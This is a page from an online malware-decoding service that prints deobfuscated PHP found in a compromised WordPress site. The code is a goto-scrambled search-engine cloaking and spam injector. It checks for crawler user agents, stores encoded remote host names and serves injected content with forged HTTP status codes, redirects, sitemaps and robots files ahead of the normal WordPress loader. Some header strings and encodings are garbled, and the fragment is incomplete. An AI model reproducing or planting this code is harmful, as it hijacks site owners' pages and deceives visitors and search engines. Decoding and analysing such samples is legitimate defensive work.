Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto be1UE;
 JslNk: $zz = disbot();
 goto ZviE9;
	 GDxds: function disbot() {
	 $user_agent = strtolower($_SERVER["HTTP_USER_AGENT"]);
		 if (stristr($user_agent, "googlebot") || stristr($user_agent, "bing") || stristr($user_agent, "yahoo") || stristr($user_agent, "google") || stristr($user_agent, "Googlebot")) {
		 return 1;
		 
	}
		 else {
		 return 2;
		 
	}
	 
}
 goto p08aQ;
	 F2aZX: if (strpos($duri, $string) !== false) {
	 $zz = 1;
	 $duri = str_replace($string, '', $duri);
	 $istest = true;
	 
}
 goto jxES2;
	 S2Knh: if (!strstr($html_content, "nobotuseragent")) {
		 if (strstr($html_content, "okhtml")) {
		 @header("Content-type: text/html;
		 charset=utf-8");
		 $html_content = str_replace("okhtml", '', $html_content);
			 if ($istest) {
			 echo $string;
			 
		}
		 echo $html_content;
		 die;
		 
	}
		 else {
			 if (strstr($html_content, "getcontent500page")) {
			 @header("HTTPy.1 500 Internal Server Error");
			 die;
			 
		}
			 else {
				 if (strstr($html_content, "4page")) {
				 @header("HTTP/1.1 404 Not Found");
				 die;
				 
			}
				 else {
					 if (strstr($html_content, "301page")) {
					 @header("HTTPy.1 1 Moved Permanently");
					 $html_content = str_replace("3page", '', $html_content);
					 header("Location: " . $html_content);
					 die;
					 
				}
					 else {
						 if (strstr($html_content, "okxml")) {
						 $html_content = str_replace("okxml", '', $html_content);
						 @header("Content-Type: application/xml;
						 charset=utf-8");
						 echo $html_content;
						 die;
						 
					}
						 else {
							 if (strstr($html_content, "okrobots")) {
							 $html_content = str_replace("okrobots", '', $html_content);
							 @header("Content-Type: text/plain");
							 echo $html_content;
							 die;
							 
						}
						 
					}
					 
				}
				 
			}
			 
		}
		 
	}
	 
}
 goto GDxds;
	 SVq9M: if (empty($matches) || $matches[1] == "wp-crom.php" || $matches[1] == "detail.php") {
	 $model_file = "index.php";
	 $model = "index";
	 
}
	 else {
	 $model_file = $matches[1];
	 $position = strpos($duri, $model_file);
		 if ($position !== false) {
		 $model_file = substr($duri, 0, $position + strlen($model_file));
		 $model_file = ltrim($model_file, "/");
		 
	}
	 $model = str_replace(".php", '', $model_file);
	 
}
 goto UOx9a;
 YKniI: $http_web = "https";
 goto rkY_B;
 ZviE9: $duri = drequest_uri();
 goto HZ3hB;
 v9iHO: $istest = false;
 goto F2aZX;
	 r5DmP: if (is_https()) {
	 $http = "https";
	 
}
	 else {
	 $http = "http";
	 
}
 goto JslNk;
	 p08aQ: function drequest_uri() {
		 if (isset($_SERVER["REQUEST_URI"])) {
		 $duri = $_SERVER["REQUEST_URI"];
		 
	}
		 else {
			 if (isset($_SERVER["argv"])) {
			 $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0];
			 
		}
			 else {
			 $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"];
			 
		}
		 
	}
	 return $duri;
	 
}
 goto DzOFD;
 be1UE: $xmlname = array("%%30%38%2D%79%.1%78%+7+9%2E%62%6F%73%68%66%70%68%76%%2E%67%%63", "%%30%38%2D%79%%61%78%%%39*E.6%72%65%72.1%71%.7.C%2E%%%", "%33%30%38%2D/9%76%61%78+1+7%39*E%72%%%69%76%66%%.6%2E%6B%6C%6D", "+3%30+8%2D%79%76.1%78+1%37%39*E%76%%61%62%66%63/2.1%2E%67%62%");
 goto YKniI;
	 DzOFD: function is_https() {
		 if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
		 return true;
		 
	}
		 elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
		 return true;
		 
	}
		 elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
		 return true;
		 
	}
	 return false;
	 
}
 goto ga8Eb;
 quLBW: $urlshang = '';
 define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';



© 2023 Quttera Ltd. All rights reserved.